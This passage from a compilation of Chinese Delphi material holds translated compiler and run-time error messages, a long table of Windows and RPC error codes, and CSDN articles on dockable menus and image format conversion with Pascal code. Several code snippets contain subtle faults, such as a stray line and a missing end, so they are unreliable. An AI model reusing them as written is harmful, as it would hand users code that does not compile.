Unsatisfied forward or external declaration: '<Procedurename>' 不满足的向前
或外部说明<Procedurename>
Unterminated string 未结束的字符串
Value assigned to '<Name>' never used 赋给<NAME>的值从未使用过
Variable '<name>' inaccessible here due to optimization 由于优化,变量名
<NAME>在这里不能存取
Variable '<name>' is declared but never used in '<name>' 变量名<NAME>已说明,
但不曾使用
Variable '<Name>' might not have been initialized 变量名<NAME>可能没有初始化
Variable required 需要变量
Virtual constructors are not allowed 不允许虚拟的constructors方法
Write error on <Filename> 文件<Filename>写错误
Wrong or corrupted version of RLINK32.DLL RLINK32.DLL版本错误或不能用
****************************************************************************
*******************

*******************************
* 运 行 错 误 信 息 *
* 运行时出现的错误信息形式为: *
* Run-time error nnn at xxxx *
* 其中 nnn 是运行时的错误编号 *
* xxxx 是运行时的错误地址 *
*******************************

运行时的错误分为以下三类:
* I/O错误:错误编号为100-149
编号 说明
---------------------------------------------------------
100 磁盘读错误,若要对超过格式文件尾进行读取时
101 磁盘写错误,若磁盘满时,由CloseFile,Write,Writeln或Flush报告
102 没有指定文件,若文件变量没有由Assign或AssignFile赋值,由
Reset,Rewrite,Append,Rename和Erase报告
103 文件没有打开,若文件未打开,由
CloseFile,Read,Write,Seek,Eof,FilePos,FileSize,Flush,BlockRead或BlockWrite报
告
104 输入文件未打开,由Read,Readln,Eof,Eoln,SeekEof或SeekEoln报告有关输入的文
本文件未打开
105 输出文件未打开,由Write和Writeln报告有关文本文件没有用Console应用程序生成
106 无效的数据格式,由Read或Readln报告从文本文件读取的数据格式不正确

* 致命错误:错误编号为200-255
编号 说明
---------------------------------------------------------
200 被零除
201 范围检查错误
202 栈上溢
203 栈上溢错误
204 无效的指针操作
205 浮点上溢
206 浮点下溢
207 无效的浮点操作
215 算术上溢错误
216 存取非法
217 控制-C
218 授权指令
219 无效的TYPECAST
220 无效的变体TYPECAST
221 无效的变体操作
222 没有变体方法调用DISPATCHER
223 不能建立变体数组
224 变体不包含数组
225 变体数组边界错误
226 TLS初始化错误

* 操作系统错误
编号 说明
---------------------------------------------------------
1899L 不能生成端点映射数据库
1752L 不能执行操作
1751L 入口点非法
1753L 端点映射中没有更多可用的端点
5L 存取非法
1331L 帐号当前不能用,因此不能登录
1793L 用户帐号过期
1327L 用户名是有效的,但一些限制不能验明用户
57L 网络适配器硬件错误
1379L 指定的别名已存在
1344L 分配用于更新的内存块不足
85L 本地设备名已在使用
183L 试图建立已存在的文件
1074L 系统当前正以最新最好的配置运行
7L 存储控制块被破坏
534L 运算结果超出32位
174L 文件系统不支持锁定类型的原子变化
199L 操作系统不能运行这一程序
160L 传递给DosExecPgm的参数串不正确
22L 设备不能识别的命令
1361L 安全描述符不在要求的格式
66L 网络资源类型不正确
1200L 指定的设备名无效
119L 系统不支持请求的命令
10L 环境不正确
193L %1不是有效的基于Windows的应用程序
11L 企图装载不正确格式的程序
1346L 指定的模拟级无效或没有提供要求的模拟级
1340L 试图建立继承的ACL或没有继承的ACE
24L 程序指定的命令长度不正确
1365L 登录段与要求的操作状态不一致
67L 网络名找不到
58L 指定的服务器不能执行请求的命令
53L 网络路径没有找到
161L 指定的路径名无效
230L 管道状态无效
1206L 网络连接协议被损坏
1204L 指定的网络提供者名无效
60L 远程适配器不兼容
159L 线程ID地址不正确
1349L 符号对象类型不当
20L 系统不能找到指定的设备
2202L 指定的用户名无效
1348L 请求的确定信息类是无效的
1009L 配置记录数据库被破坏
1010L 配置记录密钥无效
1102L 遇到磁带头或分区
1076L 当前引导已接受为最新的控制设置
109L 管道结束
111L 文件名太长
1111L I/O总线重新设置
170L 请求的资源在使用
142L 此时系统不能执行JOIN或SUBST
120L 输入的API只能在Windows/NT模式下工作
1003L 由于一些原因不能完成的功能
173L 锁定请求对提供撤消区未解决
266L 不能使用
1407L 不能找到Windows类
1368L 表示要试图通过命名管道的模拟还没有读取
82L 不能生成目录或文件
1205L 不能打开网络连接协议
1351L 没有联系的域控制器或在域内对象被保护,因此不能存取必要信息
1310L 委托组不能禁止
1347L 试图打开匿名的符号,匿名级的符号不能打开
1011L 配置记录密钥不能打开
1012L 配置记录密钥不能读取
1013L 配置记录密钥不能写
1021L 试图在易变的父关键字下建立稳定的子关键字
129L 应用程序%1不能在Windows模式下运行
1436L 子窗口不能有菜单
1059L 指定子循环服务从属
1410L 类已存在
1411L 类不存在
1412L 类仍在打开的窗口中
1418L 线程没有打开的剪切板
1201L 设备当前没有连接,但要记住连接
1421L 没有找到控制ID
1121L 由于超时已到,一系列的I/O操作完成
23L 数据错误
16L 目录不能删除
1065L 指定的数据库不存在
1425L 传递给ReleaseDC的无效HDC
1051L 终止控制已送到其他独立运行服务的服务中
1435L 不能破坏其他线程产生的对象
55L 指定的网络资源不再有效
1202L 试图记住先前记住的设备
2404L 设备由激活的进程在使用,不能断开连接
1107L 当装载磁带时,找不到磁带的分区信息
145L 目录非空
144L 目录不是根目录的子目录
130L 试图使用文件句柄来打开磁盘操作
267L 目录名无效
157L 段已丢失,不能锁定
107L 由于没有插入交换磁盘,程序终止
1393L 磁盘结构损坏,不能在读取
112L 磁盘上没有足够的空间
1127L 即使重试,存取硬盘也失败
1126L 在存取硬盘时,即使重试,存取校准操作也失败
1128L 即使磁盘控制器重新设置,存取硬盘也失败
1114L DLL初始化例程失败
1356L 指定的域已存在
1357L 在该版本中试图超出每个服务器域的限制
1810L 指定域的名字或安全ID与该域的受托信息不一致
108L 磁盘在使用或被其他进程锁定
1221L 工作族或域名已被网络上的其他计算机使用
52L 网络上存在重名
1078L 名字已在作服务器名或服务显示名使用
196L 操作系统不能运行这一应用程序
994L 对EA的存取非法
276L 在安装文件系统上的EA文件被损坏
255L EA不一致
277L 在安装文件系统的EA文件上的EA表用完
275L EA不适合在缓冲区中
282L 安装文件系统不支持扩展属性
1100L 在操作中出现磁带尾部标志
203L 系统不能找到输入的环境选项
1129L 遇到磁带的物理尾部
1501L 没有打开的日志文件事件,因此事件登录服务没有启动
1503L 在读取之间事件日志文件已改变
1500L Eventlog登录文件之一破坏
1064L 在处理控制请求时出现意外
101L 专门信号被其他进程所拥有
192L 操作系统不能运行%1
1208L 出现扩展错误
83L INT24失败
1063L 服务进程不能连接到服务控制器
1392L 文件或目录被损坏,不能在读取
80L 文件存在
1006L 文件卷已变化,因此打开的文件不再有效
2L 系统不能找到指定的文件
1101L 磁带存取达到文件标志
206L 文件名或后缀太长
1125L 软盘控制器返回与登记不一致的结果
1122L 在软盘上没有找到ID地址标志
1123L 软盘扇区ID域与软盘控制器道地址不匹配
1124L 软盘控制器报告出现不能由软驱识别的错误
1007L 请求的操作在全屏幕模式不能执行
31L 连接到系统上的设备不正常
1360L 通配存取类型包含在存取屏蔽中
1429L 该异常分支只能为全局设置
1318L 指定的组已存在
39L 磁盘满
38L 到达文件末
1428L 没有模块处理,不能设置非局部的异常处理
1431L 异常分支没有安装
1409L 热键已登记
1419L 热键没有登记
1441L 所有的DeferWindowsPosHWND必须具有相同的父
1324L 在更新口令时,该返回状态表示新口令中包含不允许的值
202L 操作系统不能运行%1
122L 传递给系统调用的数据区太小
1358L 由于灾难性的介质错误或磁盘数据结构破坏引起请求的操作不能完成
1383L LSA数据库内部不一致
1359L SAM遇到内部数据库不一致的错误,可防止SAM的进一步操作
1800L 指定的优先级无效
1448L 滚动条范围大于0x7FFF
1338L 安全描述符结构无效
198L 操作系统不能运行%1
180L 系统检测到不正确的段号
1799L 指定的分隔符文件无效
1352L SAM服务器状态错误,不能完成期望的操作
1057L 帐号名无效或不存在
1052L 对该服务请求的控制无效
1071L 指定的服务数据锁定无效
1213L 指定的服务名格式无效
1215L 指定的共享名格式不正确
1449L SHOWWINDOWS命令无效
1337L SID结构无效
209L 公布的信号不正确
1439L 参数无效
189L 操作系统不能运行%1
188L 操作系统不能运行%1
1335L 子权限值无效
114L 目标内部文件标识符不正确
1444L 线程ID无效
1784L 提供的用户缓冲区对请求操作失效
118L 写后验证开关参数值不正确
1400L 窗口处理无效
1329L 用户帐号限制,不能从源工作站登录
1117L 由于I/O设备错误,请求不能完成
996L 重叠的IO时间不在发信号状态
997L 重叠的IO操作在处理中
197L 操作系统当前不能配置来运行应用程序
1119L 不能打开与其它设备共享IRQ的设备,至少有一使用该IRQ的其他设备已打开
147L 没有足够的可用资源来处理这一命令
133L 由于驱动器已包含连接,JOIN或SUBST命令不能使用
134L 试图在已连接的驱动器上使用JOIN或SUBST命令
146L 指定的路径正在用替换
149L 试图替代先前已替代的驱动器目录
135L 试图在已替代的驱动器上使用JOIN或SUBST命令
194L 操作系统不能运行%1
138L 系统试图替代已替代的目录
140L 系统试图替代已替代的目录
1430L 日常异常处理已安装
1018L 在有删除标志的登记键上非法操作
1020L 试图在已有子键或值的登记键建立符号连接
154L 输入的卷标超过11个字符的限制,前11个字符写在磁盘上,其余字符自动删除
1322L 请求的操作被禁止或删除最新的其余管理员帐号
1434L 该列表框不支持制表符
1416L 列表符ID没有找到
1390L 试图修改用户口令,但没有提供要求的LM口令
1303L 联接局部RPC,要求用户话路密钥
167L 试图锁定文件失败的区域
33L 由于其他进程已锁定部分文件,该文件不能被进程存取
212L 端锁定,因此不能重新分配
1502L 事件登录文件已满
1326L 由于用户名或验证信息不正确,试图登录无效
1380L 请求登录的类型(如网络,服务等)没有被目标系统授权
1366L 登录话路ID已在使用
1363L 试图启动新的话路管理程序或用已在使用的LSA登录话路
1385L 请求登录的类型(如网络,服务等)没有授权
1334L 没有更多可分配的LUID
164L 在系统中不能生成更多的线程
1110L 驱动器中的介质已改变
1378L 指定的帐号名不是别名的成员
1320L 指定的用户帐号已在指定的组帐号中或由于组中有成员,不能删除
1377L 指定的帐号名不是别名的成员
1321L 指定的用户帐号不是指定组帐号的成员
1374L 由于组是基本组,因此成员不能从该组中删除
208L 取决文件名符号*或?输入不正确或指定的全局文件符号更多
126L 不能找到指定的模块
234L 需要更多的数据
1120L 一系列的I/O操作被其他写到串口的操作完成
317L 系统不能找到消息号为0x%1的消息
131L 试图在超出文件头的位置移动文件指针
215L 不能嵌套调用LoadModule
1792L 试图登录,但网络登录服务没有启动
88L 网络写失败
64L 指定的网络名不再有效
65L 网络存取非法
54L 网络在忙
6118L 该工作组的服务器列表当前不可用
232L 管道在进程中关闭
1104L 在磁带存取中,到达数据标志尾部
1309L 试图由当前不在模拟客户的线程上操作模拟符号
1391L ACL不包含可继承的组件
1019L 系统不能分配记录文件要求的空间
1807L 使用的帐号在内域受托帐号中,使用正常的帐号或远程用户帐号来存取该服务器
1809L 使用的帐号在服务器受托帐号中,使用正常的帐号或远程用户帐号来存取该服务
器
1311L 当前没有可用的登录服务器来服务登录请求
1808L 使用的帐号在工作站受托帐号中,使用正常的帐号或远程用户帐号来存取该服务
器
1112L 由于驱动器中没有介质,磁带查询失败
18L 没有更多的文件
259L 没有更多的可用数据
113L 没有更多的可用内部文件标识符
1203L 没有网络提供者接收给定的路径
2138L 没有网络或网络未启动
89L 此时系统不能启动另一进程
1302L 对该帐号没有指定限额
1447L 窗口不能有滚动条
1350L 试图对没有安全性的对象操作
1116L 由于没有关机在处理中,试图放弃关机失败
205L 在命令子树中没有进程有信号句柄
62L 在服务器上存储等待打印文件的空间不足
1376L 指定的别名不存在
1355L 指定的域不存在
1319L 指定的组不存在
1312L 指定的登录话路不存在,可能已终止
1387L 不存在的新成员不能添加到别名中
1364L 指定的验证包未知
1313L 指定的特权不存在
1317L 指定的用户不存在
1437L 窗口不能具有系统菜单
1008L 试图引用不存在的符号
1786L 工作站没有受托秘密
1787L 域控制器对该工作站没有帐号
1113L 对目标多字节代码页存在的Unicode字符没有映射
1394L 对指定的登录话路没有用户话路密钥
125L 磁盘没有卷标
1417L 没有找到通配符
998L 对内存位置的无效存取
1445L 用非MDI子窗口调用DefMDIChildProc
1332L 映射的信息没有转变
1300L 不是所有权限赋给调用者
1442L 窗口不是子窗口
2250L 网络连接不存在
1207L 不能枚举非容器
26L 指定的磁盘不能存取
8L 没有足够的空间处理该命令
1130L 没有足够的空间处理该命令服务器
136L 系统试图删除没有连接的驱动器
158L 段已锁定
1362L 请求的动作只受登录进程的限制,调用进程没有登记为登录进程
288L 试图释放不被调用者拥有的互斥法
21L 驱动器没有准备好
1017L 系统试图装载或恢复文件到登记中,但指定的文件格式不正确
17L 系统不能将文件移动到不同的驱动器上
137L 系统试图删除没有替代的驱动器
50L 不支持网络请求
1022L 改变请求正在完成,信息没有返回在调用者的缓冲区.调用者现在需要模拟文件,
以找到所做的修改
1386L 没有提供必要的NT交叉保密口令而试图以安全帐号管理员改变用户口令
1304L WindowsNT的口令太复杂,无法将其转换为Windows的网络口令(该口令返回NULL字
符串)
110L 系统不能打开指定的设备或文件
2401L 有打开文件或请求在连接期
995L 由于线程退出或应用程序请求,I/O操作放弃
28L 打印机没有纸
84L 处理该请求没有足够的空间
14L 处理该操作没有足够的空间
1105L 磁带没有分区
1330L 用户帐号的口令已到期
1325L 在更新口令,该状态表示违反一些口令更新规则
148L 指定的路径现在不能用
3L 系统不能找到指定的路径
231L 所有的管道实体在忙
535L 在管道的另一端有进程
536L 等待进程打开管道的另一端
233L 在管道的另一端没有进程
1446L 下拉式菜单已激活
1131L 已检测到潜在的僵局条件
63L 要打印的等待文件被删除
1802L 打印机已存在
1795L 指定的打印驱动程序已安装
61L 打印队列已满
1415L 使用局部的DIALOG窗口字
1314L 请求的权限客户机没有
127L 指定的过程没有找到
1067L 进程突然终止
30L 系统不能从指定的驱动器读取
72L 指定的打印机或磁盘驱动器已暂停
1794L 重定向器在使用,不能卸载
1015L 登记文件的文件结构或文件的内存印象系统损坏或文件不能恢复
1016L 登记初始化I/O操作有不可恢复的错误,登记不能完成读,写等操作
1014L 包含系统登记数据的文件之一已恢复成功
201L 操作系统不能运行%1
51L 远程计算机不可用
1220L 试图建立LAN管理服务器话路,但已建立了很多
71L 网络请求不接受
1816L 处理该命令没有足够的定额
1812L 指定的图象文件不包含资源部分
1815L 指定的资源语言ID在图象文件中找不到
1814L 指定的资源名在图象文件中找不到
1813L 指定的资源类型在图象文件中找不到
1306L 两个版本级不兼容
207L 2环堆栈在使用
200L 代码段不能大于等于64KB
1370L 在登记事务委托中出现错误
1369L 登记子树的事务状态与请求的操作不兼容
143L 系统不能替代相同的驱动器或目录
1440L 屏幕已锁定
1382L 秘密的长度超出允许的最大长度
27L 驱动器没有找到请求的扇区
25L 驱动器不能找到磁盘上指定的区域和道
132L 文件指针不能设置在指定的设备或文件上
102L 信号设置不能关闭
187L 指定的系统信号名没有找到
105L 该信号的先前物主关系已终止
121L 信号超时期已到
106L 在驱动器1中插入磁盘
1118L 串行设备没有初始化,串行设备没有安装
1341L GUID分配服务器此时禁止
1811L 服务器在使用中,不能卸载
1342L 此时允许GUID分配服务器
1056L 服务实体已在运行
1061L 服务在此时不能接受控制消息
1055L 服务数据库锁定
1075L 从属服务不存在或已做删除标志
1068L 从属服务或组启动失败
1058L 指定服务禁止,不能启动
1060L 指定作为安装的服务不存在
1073L 指定的服务已存在
1069L 由于登录失败,服务不能启动
1072L 指定的服务已做删除标志
1077L 引导后没有启动的服务已启动
1054L 不能产生该服务的线程
1062L 服务没有启动
1053L 服务对启动没有响应或及时地控制请求
1066L 服务已返回一服务指定错误代码
1070L 在启动后,服务挂在启动等待状态
1219L 提供的证书与已有证书集冲突
1433L LB_SETCOUNT发送到非缓慢的列表框
1103L 磁带存取达到设置标志
36L 打开的共享文件太多
70L 远程服务暂停或在启动的过程中
32L 由于文件被其他进程使用,该进程则不能存取
1115L 系统关闭在处理中
162L 信号已暂挂
156L 接受进程拒绝信号
1301L 要映射的一些信息没有传送
1371L 试图在与内置帐号不兼容的SAM帐号上操作
1372L 请求的操作不能在指定的组上执行,由于它的内置的特殊组
1373L 请求的操作不能在指定的用户上执行,由于它的内置的特殊组
1001L 递归太深,堆栈溢出
141L 系统试图SUBST一驱动器到已替代驱动器的目录
139L 系统试图替代一驱动器到已替代驱动器的目录
0L 操作成功的完成
999L 存取分页的文件错误
150L 系统追踪的信息不在指定的CONFIG.SYS文件中或追踪不允许
210L 信号句柄没有设置
1406L CreateWindows失败,建立WS_CHILD类的顶级窗口
1375L 试图建立作为基本使用的符号,但该符号已在使用.一次只能有一个基本的符号
56L 已达到网络BIOS命令限制
1384L 在试图登录中,用户的安全堆集太多的安全ID
1333L 请求的LUD数不能在单个的分配中分配
214L 太多的动态连接模块连接到该程序中或动态模块中
152L 已设置太多的信号
68L 超出局域网网卡的名字限制
4L 系统不能打开该文件
298L 给信号太多的邮件
1381L 在单个系统中可存储的最大秘密数超出
103L 信号不能重新设置
100L 不能建立另一系统信号
69L 网络BIOS话路超出
1389L 指定太多的SID
155L 不能建立另一线程
1790L 网络登录失败
1788L 在主域与受托域之间的受托关系失败
1789L 在工作站与主域之间的受托关系失败
1108L 试图锁定缺少弹出介质的机构
1109L 卸载介质失败
59L 出现意外的网络错误
1796L 指定的处理器未知
1798L 打印处理器未知
1797L 打印驱动器未知
1305L 遇到或指定的版本对服务来说未知
1785L 磁盘介质不能辨认,可能是未格式化
1005L 卷不包含识别文件系统
1316L 指定的用户已存在
240L 话路取消
128L 没有等待的子进程
1423L 窗口不是一命令框
1420L 窗口不是一有效的对话框
1408L 无效的窗口,属于其他的线程
29L 系统不能写到指定的驱动器
19L 介质写保护
34L 驱动器中错误的磁盘,将%2(卷系列号%3)插入到驱动器%1中
1323L 在更新口令时,该状态表示提供的口令值不正确
-1L 无效的输入句柄
-2L 无效的输入句柄
-7L 输入参数超出范围
-5L LZFile文件结构内存不足
-6L 不正确的全局句柄
-3L 损坏的压缩文件结构
-4L 输出文件空间不足
-8L 不能识别的压缩算法
0L 没有错误
1768L 在服务器中出现编址错误
1713L 服务器已在听从
1711L 对象UUID已登记
1746L 连接不包含鉴别信息
1726L 远程过程调用失败
1727L 远程过程调用失败,不能执行
1791L 远程过程调用已在该线程处理中
1764L 不支持请求的操作
1720L 不能生成端点
1740L 端点重复
1760L 入口已存在
1761L 入口没有找到
1769L 在服务器上的浮点操作被零除
1771L 在服务器上出现浮点上溢
1770L 在服务器上出现浮点下溢
1898L 组成员没有找到
1755L 入口名不完善
1759L 界面没有找到
1766L 在RPC中出现内部错误
1749L 安全上下文无效
1702L 连接句柄无效
1734L 数组边界无效
1706L 端点格式无效
1736L 名称语法无效
1707L 网络地址无效
1724L 网络选项无效
1900L 对象通用唯一标识符为空
1704L RPC协议序列无效
1700L 字符串连接无效
1705L 字符串UUID失效
1733L 标志无效
1709L 超时值无效
1756L 版本选项无效
1742L 调用的最大数太小
1762L 命名服务不可用
1718L 没有连接
1725L 在该线程中没有远程过程调用
1765L 允许的模拟没有安全上下文可用
1708L 没有找到端点
1735L 连接不包含入口点名
1806L 没有足够的连接
1757L 没有足够的成员
1719L 没有协议序列
1714L 没有登记的协议序列
1715L 服务器没有听从
1710L 对象UUID没有找到
1721L 没有足够的资源完成该操作
1745L 过程号超出范围
1728L 出现RPC协议错误
1744L RPC协议序列没有找到
1703L 不支持RPC协议序列
1731L 服务器没有足够的内存完成该操作
1723L 服务器太忙,不能完成该操作
1722L 服务器不可用
1743L 字符串太长
1712L 类型UUID已登记
1748L 未知的鉴别级
1747L 未知的鉴别服务
1741L 未知的鉴别类型
1750L 未知的授权服务
1717L 未知的界面
1716L 未知的管理类型
1737L 不支持命令语法
1730L 服务器不支持转换语法
1732L 不支持类型UUID
1739L 没有可用于构造UUID的网络地址
1701L 连接处理为不正确的类型
1767L 服务器试图做整数被零除
1783L 存根接收到不正确的数据
1782L 字节计算太小
1781L 枚举值超界
1772L 用于自动处理连接的可用服务器已用完
1780L 空引用指针传递到存根
1779L 存根不能得到调用句柄
1773L 由DCERPCCHARTRANS指定的文件不能打开
1774L 包含字符转换表的文件小于512KB
1777L 在调用中上下文处理改变
1776L 上下文句柄与任何已知的不匹配
1778L 传递给远程调用的连接句柄不匹配
1775L 空的上下句柄作为参数传递
**************************************************************


CSDN_文档中心_Delphi菜单如何做成word2000的可停靠样子

Word2000的菜单是可拖出来,并可停靠(DOCK)的,是如何实现的呢?

Delphi控件多有Dock的属性,关键就在这

先在窗体上放一个CoolBar

在CoolBar上放一个ToolBar添加几个按钮

设置ShowCaption的属性为True;

做一个MainMenu并添加几个菜单项

将窗体的menu属性设置为空

ToolBar的按钮AutoSize设为True

把按钮的MenuItem设为相应的MainMenu项

看一看是不是有点意思

对了,菜单还不能自动弹出,也不能拖出CoolBar的范围

这个好说

把按钮的Group属性设一下怎么样?变了没有,是不是可以自动弹出了?是不是很像Delphi5的IDE界面菜单.

把ToolBar的拖拽属性和停泊(Dock)属性设一下(你不会不知道哪个是这两个属性吧:-( )

快和Word200的菜单比一比吧.


CSDN_文档中心_Delphi常见图象格式转换技术(二)

Delphi常见图象格式转换技术(二)
作者:lyboy99
e-mail:lyboy99@sina.com
url: http://hnh.126.com

给大家提供几个常用的图象格式转换方法和其转换函数
希望可以对你有帮助

1.TxT 转换为 GIF
2.WMF格式转换为BMP格式
3.BMP格式转换为WMF格式
4.TBitmaps to Windows Regions
-----------------------------------------------------------------------
TxT 转换为 GIF
------------------------------------------------
procedure TxtToGif (txt, FileName: String);
var
temp: TBitmap;
GIF : TGIFImage;
begin

temp:=TBitmap.Create;
try
temp.Height :=400;
temp.Width :=60;
temp.Transparent:=True;
temp.Canvas.Brush.Color:=colFondo.ColorValue;
temp.Canvas.Font.Name:=Fuente.FontName;
temp.Canvas.Font.Color:=colFuente.ColorValue;
temp.Canvas.TextOut (10,10,txt);
Imagen.Picture.Assign(nil);

GIF := TGIFImage.Create;
try

GIF.Assign(Temp);
//保存 GIF
GIF.SaveToFile(FileName);
Imagen.Picture.Assign (GIF);
finally
GIF.Free;
end;

Finally

temp.Destroy;
End;
end;
---------------------------------------------------------------------
2.WMF格式转换为BMP格式

--------------------------------------------------------------------
procedure WmfToBmp(FicheroWmf,FicheroBmp:string);
var
MetaFile:TMetafile;
Bmp:TBitmap;
begin
Metafile:=TMetaFile.create;
{Create a Temporal Bitmap}
Bmp:=TBitmap.create;
{Load the Metafile}
MetaFile.LoadFromFile(FicheroWmf);
{Draw the metafile in Bitmap's canvas}
with Bmp do
begin
Height:=Metafile.Height;
Width:=Metafile.Width;
Canvas.Draw(0,0,MetaFile);
{Save the BMP}
SaveToFile(FicheroBmp);
{Free BMP}
Free;
end;
{Free Metafile}
MetaFile.Free;
end;

---------------------------------------------------------------------
3.BMP格式转换为WMF格式
---------------------------------------------------------------------
procedure BmpToWmf (BmpFile,WmfFile:string);
var
MetaFile : TMetaFile;
MFCanvas : TMetaFileCanvas;
BMP : TBitmap;
begin
{Create temps}
MetaFile := TMetaFile.Create;
BMP := TBitmap.create;
BMP.LoadFromFile(BmpFile);
{Igualemos tama駉s}
{Equalizing sizes}
MetaFile.Height := BMP.Height;
MetaFile.Width := BMP.Width;
{Create a canvas for the Metafile}
MFCanvas:=TMetafileCanvas.Create(MetaFile, 0);
with MFCanvas do
begin
{Draw the BMP into canvas}
Draw(0, 0, BMP);
{Free the Canvas}
Free;
end;
{Free the BMP}
BMP.Free;
with MetaFile do
begin
{Save the Metafile}
SaveToFile(WmfFile);
{Free it...}
Free;
end;
end;

---------------------------------------------------------------------

4.TBitmaps to Windows Regions
---------------------------------------------------------------------
function BitmapToRegion(bmp: TBitmap; TransparentColor: TColor=clBlack;
RedTol: Byte=1; GreenTol: Byte=1; BlueTol: Byte=1): HRGN;
const
AllocUnit = 100;
type
PRectArray = ^TRectArray;
TRectArray = Array[0..(MaxInt div SizeOf(TRect))-1] of TRect;
var
pr: PRectArray;
h: HRGN;
RgnData: PRgnData;
lr, lg, lb, hr, hg, hb: Byte;
x,y, x0: Integer;
b: PByteArray;
ScanLinePtr: Pointer;
ScanLineInc: Integer;
maxRects: Cardinal;
begin
Result := 0;
{ Keep on hand lowest and highest values for the "transparent" pixels }
lr := GetRValue(TransparentColor);
lg := GetGValue(TransparentColor);
lb := GetBValue(TransparentColor);
hr := Min($ff, lr + RedTol);
hg := Min($ff, lg + GreenTol);
hb := Min($ff, lb + BlueTol);

bmp.PixelFormat := pf32bit;

maxRects := AllocUnit;
GetMem(RgnData,SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * maxRects));
try
with RgnData^.rdh do
begin
dwSize := SizeOf(RGNDATAHEADER);
iType := RDH_RECTANGLES;
nCount := 0;
nRgnSize := 0;
SetRect(rcBound, MAXLONG, MAXLONG, 0, 0);
end;

ScanLinePtr := bmp.ScanLine[0];
ScanLineInc := Integer(bmp.ScanLine[1]) - Integer(ScanLinePtr);
for y := 0 to bmp.Height - 1 do
begin
x := 0;
while x < bmp.Width do
begin
x0 := x;
while x < bmp.Width do
begin
b := @PByteArray(ScanLinePtr)[x*SizeOf(TRGBQuad)];
// BGR-RGB: Windows 32bpp BMPs are made of BGRa quads (not RGBa)
if (b[2] >= lr) and (b[2] <= hr) and
(b[1] >= lg) and (b[1] <= hg) and
(b[0] >= lb) and (b[0] <= hb) then
Break; // pixel is transparent
Inc(x);
end;
{ test to see if we have a non-transparent area in the image }
if x > x0 then
begin
{ increase RgnData by AllocUnit rects if we exceeds maxRects }
if RgnData^.rdh.nCount >= maxRects then
begin
Inc(maxRects,AllocUnit);
ReallocMem(RgnData,SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * MaxRects));
end;
{ Add the rect (x0, y)-(x, y+1) as a new visible area in the region }
pr := @RgnData^.Buffer; // Buffer is an array of rects
with RgnData^.rdh do
begin
SetRect(pr[nCount], x0, y, x, y+1);
{ adjust the bound rectangle of the region if we are "out-of-bounds" }
if x0 < rcBound.Left then rcBound.Left := x0;
if y < rcBound.Top then rcBound.Top := y;
if x > rcBound.Right then rcBound.Right := x;
if y+1 > rcBound.Bottom then rcBound.Bottom := y+1;
Inc(nCount);
end;
end; // if x > x0

if RgnData^.rdh.nCount = 2000 then
begin
h := ExtCreateRegion(nil, SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * maxRects), RgnData^);
if Result > 0 then
begin // Expand the current region
CombineRgn(Result, Result, h, RGN_OR);
DeleteObject(h);
end
else // First region, assign it to Result
Result := h;
RgnData^.rdh.nCount := 0;
SetRect(RgnData^.rdh.rcBound, MAXLONG, MAXLONG, 0, 0);
end;
Inc(x);
end; // scan every sample byte of the image
Inc(Integer(ScanLinePtr), ScanLineInc);
end;
{ need to call ExCreateRegion one more time because we could have left }
{ a RgnData with less than 2000 rects, so it wasn't yet created/combined }
h := ExtCreateRegion(nil, SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * MaxRects), RgnData^);
if Result > 0 then
begin
CombineRgn(Result, Result, h, RGN_OR);
DeleteObject(h);
end
else
Result := h;
finally
FreeMem(RgnData,SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * MaxRects));
end;

----------------------------------------------------------------------------------


CSDN_文档中心_Delphi常见图象格式转换技术

常见图象格式转换技术
作者:lyboy99
e-mail:lyboy99@sina.com
url: http://hnh.126.com

给大家提供几个常用的图象格式转换方法和其转换函数
希望可以对你有帮助
1. ICO图标转换BMP格式
2. 32x32 BMP格式图象转换为 ICO格式
3.转换BMP->JPEG文件格式
4.JPEG 转换为BMP函数
5.Bmp转换为JPEG文件格式函数
-------------------------------------------------------------------------------------------------------------------------
1.Chinese : ICO图标转换BMP格式
English :(Conversion from ICO to BMP)
--------------------------------------------------------

var
Icon : TIcon;
Bitmap : TBitmap;
begin
Icon := TIcon.Create;
Bitmap := TBitmap.Create;
Icon.LoadFromFile('c:\picture.ico');
Bitmap.Width := Icon.Width;
Bitmap.Height := Icon.Height;
Bitmap.Canvas.Draw(0, 0, Icon );
Bitmap.SaveToFile('c:\picture.bmp');
Icon.Free;
Bitmap.Free;
===================================
2.Chinese: 32x32 BMP格式图象转换为 ICO格式
English :32x32 bit Bitmaps to ICO's
-----------------------------------
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms,Dialogs,ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Image1: TImage;
Image2: TImage;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var winDC, srcdc, destdc : HDC;
oldBitmap : HBitmap;
iinfo : TICONINFO;
begin
GetIconInfo(Image1.Picture.Icon.Handle, iinfo);

WinDC := getDC(handle);
srcDC := CreateCompatibleDC(WinDC);
destDC := CreateCompatibleDC(WinDC);
oldBitmap := SelectObject(destDC, iinfo.hbmColor);
oldBitmap := SelectObject(srcDC, iinfo.hbmMask);

BitBlt(destdc, 0, 0, Image1.picture.icon.width,
Image1.picture.icon.height,
srcdc, 0, 0, SRCPAINT);
Image2.picture.bitmap.handle := SelectObject(destDC, oldBitmap);
DeleteDC(destDC);
DeleteDC(srcDC);
DeleteDC(WinDC);

image2.Picture.Bitmap.savetofile(ExtractFilePath(Application.ExeName)
+ 'myfile.bmp');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
image1.picture.icon.loadfromfile('c:\myicon.ico');
end;

end.
==================================================================
3. Chinese:转换BMP->JPEG文件格式
Englsh:convert the bitmap into a JPEG file format
------------------------------------------------------------------
var
MyJpeg: TJpegImage;
Image1: TImage;
begin
Image1:= TImage.Create;
MyJpeg:= TJpegImage.Create;
Image1.LoadFromFile('TestImage.BMP'); // 读取Bitmap文件
MyJpeg.Assign(Image1.Picture.Bitmap);
object
MyJpeg.SaveToFile('MyJPEGImage.JPG'); //保存JPEG
end;

--------------------------------------------------------------------
4.JPEG 转换为BMP函数

procedure Jpg2Bmp(const source,dest:string);
var
MyJpeg: TJpegImage;
bmp: Tbitmap;
begin
bmp:=tbitmap.Create;
